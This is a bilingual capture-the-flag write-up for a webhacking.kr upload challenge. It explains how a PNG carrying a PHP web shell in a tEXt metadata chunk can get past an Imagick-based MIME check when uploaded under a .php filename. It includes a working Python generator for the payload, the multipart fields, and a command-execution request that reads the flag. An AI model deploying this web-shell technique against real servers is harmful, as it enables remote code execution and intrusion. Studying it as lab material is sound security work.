Challenge
Upload a file accepted by Imagick while preserving a PHP-capable
filename.
上传一个能被 Imagick 接受、同时保留 PHP 文件名的文件。
1
| http://webhacking.kr:10018/
|
Analysis
服务端检查上传文件的 MIME type,拒绝 text/* 和
application/octet-stream,随后用 Imagick
读取、缩放并以原文件名写入 upload/:
1 2 3 4
| $image = new Imagick(); $image->readImage($_FILES['file']['tmp_name']); $image->resizeImage(500, 500, imagick::FILTER_GAUSSIAN, 10); $image->writeImage('./upload/' . $_FILES['file']['name']);
|
文件名没有限制 .php 后缀。一个有效 PNG 可以在
tEXt chunk 中携带 PHP 代码;若 Imagick 在目标部署中保留该
metadata,上传结果就会以 .php 文件名保存,并由 PHP
解释器处理。
Solution
PHP 代码放入 Comment 文本块:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| from pathlib import Path import struct import zlib
PHP = b'<?php system($_GET["cmd"]); ?>'
def chunk(kind, data): body = kind + data return struct.pack(">I", len(data)) + body + struct.pack(">I", zlib.crc32(body) & 0xFFFFFFFF)
def make_png(path): signature = b"\x89PNG\r\n\x1a\n" ihdr = struct.pack(">IIBBBBB", 1, 1, 8, 2, 0, 0, 0) scanline = b"\x00\xff\xff\xff" text = b"Comment\x00" + PHP png = b"".join( ( signature, chunk(b"IHDR", ihdr), chunk(b"tEXt", text), chunk(b"IDAT", zlib.compress(scanline)), chunk(b"IEND", b""), ) ) Path(path).write_bytes(png)
if __name__ == "__main__": make_png("shell.png")
|
上传生成的 shell.png 时,multipart 字段如下:
1 2 3
| name=file filename=shell.php Content-Type: image/png
|
上传后访问:
1
| /upload/shell.php?cmd=cat%20%2Fflag
|
metadata 是否在缩放和写入后保留,取决于目标 Imagick
版本与部署配置。